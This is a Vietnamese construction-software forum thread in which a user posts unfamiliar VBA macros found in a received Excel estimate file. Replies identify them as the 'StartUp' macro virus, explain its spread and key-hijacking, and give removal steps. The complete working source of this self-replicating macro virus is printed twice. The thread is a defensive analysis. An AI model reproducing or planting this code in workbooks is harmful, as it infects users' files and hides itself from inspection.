XD360 KÍNH CHÚC CHO MỌI NHÀ VẠN SỰ AN LÀNH!

Phần mềm ôn thi sát hạch chứng chỉ hành nghề xây dựng

 Quên mật khẩu
 Đăng ký mới
Anh Trần HòeBùi Quốc Hưng
Xem: 2262|Trả lời: 7
In Chủ đề trước Tiếp theo
Thu gọn cột thông tin

Những Macro lạ, mong mọi người giúp xem nó có tác dụng gì?

[Lấy địa chỉ]
Nhảy đến trang chỉ định
1#

Hãy đăng nhập để có nhiều chức năng hữu dụng hơn và xem ảnh rõ hơn!

Bạn phải đăng nhập để xem được nội dung, nếu bạn chưa có tài khoản? hãy Đăng ký mới

x
Trong thời gian một nhà thiết kế gởi file dự toán mình đã bị vấn đề như sau:
- Mở excel luôn mở thêm file startup.xls
- Xem code thì có thêm những macro lạ, vì mới làm quen với VBA nên chưa biết nó có tác dụng gì. Tìm kiếm trên mạng thì có khả năng nó là virus, anh em nào rành thì cho xin ý kiến nhé.
[Visual Basic] 纯文本查看 复制代码
Sub auto_open()
  On Error Resume Next
  If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
    Application.ScreenUpdating = False
    ThisWorkbook.Sheets("StartUp").Copy
    ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
    n$ = ActiveWorkbook.Name
    ActiveWindow.Visible = False
    Workbooks("StartUp.xls").Save
    'Workbooks(n$).Close (False)
  End If
  Application.OnSheetActivate = "StartUp.xls!ycop"
  Application.OnKey "%{F11}", "StartUp.xls!escape"
  Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub

Sub ycop()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
    Application.ScreenUpdating = False
    n$ = ActiveSheet.Name
    Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
    Sheets(n$).Select
  End If
End Sub

Sub escape()
    On Error Resume Next
    Application.OnSheetActivate = "StartUp.xls!back"
    Application.OnKey "%{F11}"
    Application.OnKey "%{F8}"
    Application.SendKeys "%{F11}"
    Application.SendKeys "%{F8}"
    For Each book In Workbooks
        Application.DisplayAlerts = False
        If book <> "StartUp.xls" Then book.Sheets("StartUp").Delete
    Next
    For Each book In Workbooks
        If book.Name = "StartUp.xls" Then
        book.Close
    End If
    Next
End Sub

Sub back()
  On Error Resume Next
  Application.OnKey "%{F8}", "StartUp.xls!escape"
  Application.OnKey "%{F11}", "StartUp.xls!escape"
  Application.OnSheetActivate = "StartUp.xls!ycop"
  Application.OnTime Now + TimeValue("00:00:01"), "StartUp.xls!ycop"
  Workbooks.Open Application.StartupPath & "\StartUp.xls"
End Sub

Đánh giá

Rất hữu ích! Thanks!: 0.0
Rất hữu ích! Thanks!: 0
  Đăng lúc 9/7/2014 20:21
Sau đó anh gửi Tặng KEY bản quyền ngay sau khi hết thời hạn dùng thử. Thanks  Đăng lúc 9/7/2014 19:32
Bị virutt macro rồi. Dùng phần mềm diệt thôi. Á tạm thời tải kaspasky về dùng thử được 30 ngày đó. Diệt cho hết.  Đăng lúc 9/7/2014 19:31

www.xaydung360.vn XÂY TÂM, DỰNG TẦM CHUYÊN NGHIỆP

2#
 Tác giả| phamvana Đăng lúc 9/7/2014 21:38 | Chỉ xem của tác giả
Cách giải quyết tạm thời của em là tìm đến file StartUp.xls và xóa nó. Kiểm tra lại không còn xuất hiện nữa.

www.xaydung360.vn XÂY TÂM, DỰNG TẦM CHUYÊN NGHIỆP

3#
tranhoe Đăng lúc 10/7/2014 00:13 | Chỉ xem của tác giả
Chính xác là máy Bạn bị dính Virus StartUp rồi.
Đây là code trong Module Module StartUp của file StartUp.xls và file nhiễm Virus :
[Visual Basic] 纯文本查看 复制代码
Sub auto_open()
    On Error Resume Next
    If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
        Application.ScreenUpdating = False
        ThisWorkbook.Sheets("StartUp").Copy
        ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
        n$ = ActiveWorkbook.Name
        ActiveWindow.Visible = False
        Workbooks("StartUp.xls").Save
        Workbooks(n$).Close (False)
    End If
    Application.OnSheetActivate = "StartUp.xls!cop"
    Application.OnKey "%{F11}", "StartUp.xls!escape"
    Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub
'====================================
Sub cop()
    On Error Resume Next
    If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
        Application.ScreenUpdating = False
        n$ = ActiveSheet.Name
        Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
        Sheets(n$).Select
    End If
End Sub
'====================================
Sub back()
    On Error Resume Next
    Application.OnKey "%{F8}", "StartUp.xls!escape"
    Application.OnKey "%{F11}", "StartUp.xls!escape"
    Application.OnSheetActivate = "StartUp.xls!cop"
    Application.OnTime Now + TimeValue("00:00:01"), "StartUp.xls!cop"
    Workbooks.Open Application.StartupPath & "\StartUp.xls"
End Sub


Cơ chế lây lan của nó: Khi mở file *.xls nó sẽ chép Module Startup này vào và lưu lại. Khi mở lần sau ở máy khác không có file StartUp.xls thì nó lại tạo ra. Vậy là lại dính sang 1 máy mới. Ngoài ra nó còn "cấm" cả tổ hợp phím Alt + F11 (mở cửa sổ VBA), Alt + F8 (chạy macro) bằng cách thực thi macro của chính con Virus này.

Thao tác Xóa chúng gồm 2 công đoạn:
- Xóa file StartUp.xls trong thư mục XLSTART
- Xóa module StartUp trong file đang mở

Cách khác nhanh hơn:
Chép file StartUp.xls (đính kèm ở dưới) vào thư mục XLSTART của EXCEL (thường nằm ở "% AppData% \ Microsoft \ Excel \ XLSTART") - cho phép chép đè.
Khi mở File nếu file đó dính virus StartUp thì sẽ bị xóa ngay

Link:    StartUp.xls (14 KB, Lượt tải về: 66)

Đánh giá

Rất hữu ích! Thanks!: 5.0 Mong bạn tiếp tục chia sẻ. Thanks!: 5.0
Rất hữu ích! Thanks!: 5 Mong bạn tiếp tục chia sẻ. Thanks!: 5
Cám ơn anh rất nhiều. Học thêm được một chút từ con virus này. :D  Đăng lúc 10/7/2014 05:53

Số người tham gia 1Thanked +2 Thu lại Lý do
vitquaykxc + 2 Thích bài này! Thanks!

Xem tất cả

www.xaydung360.vn XÂY TÂM, DỰNG TẦM CHUYÊN NGHIỆP

4#
 Tác giả| phamvana Đăng lúc 4/8/2014 14:32 | Chỉ xem của tác giả
Mấy hôm nay mở VBA thấy có 2 filw lạ lạ, không biết nó là cái gì, mong mọi người giúp. Một em thì xem được, một em thì không thể xem code.

www.xaydung360.vn XÂY TÂM, DỰNG TẦM CHUYÊN NGHIỆP

Phiên bản Mobile|Phần mềm ôn thi sát hạch chứng chỉ hành nghề xây dựng  

Phần mềm dự toán xây dựng excel | Hướng dẫn lập dự toán xây dựng | Phần mềm tư vấn giám sát | Phần mềm quản lý chất lượng xây dựng |

Phần mềm ôn thi sát hạch chứng chỉ hành nghề xây dựng

Phần mềm ôn thi sát hạch chứng chỉ hành nghề Kiến Trúc sư

Phần mềm ôn thi sát hạch chứng chỉ hành nghề Đấu thầu

GMT+7, 6/5/2024 15:47 , Processed in 0.131222 second(s), 30 queries .

Powered by Discuz! X3.2

© 2001-2013 Kiso Comsenz Inc.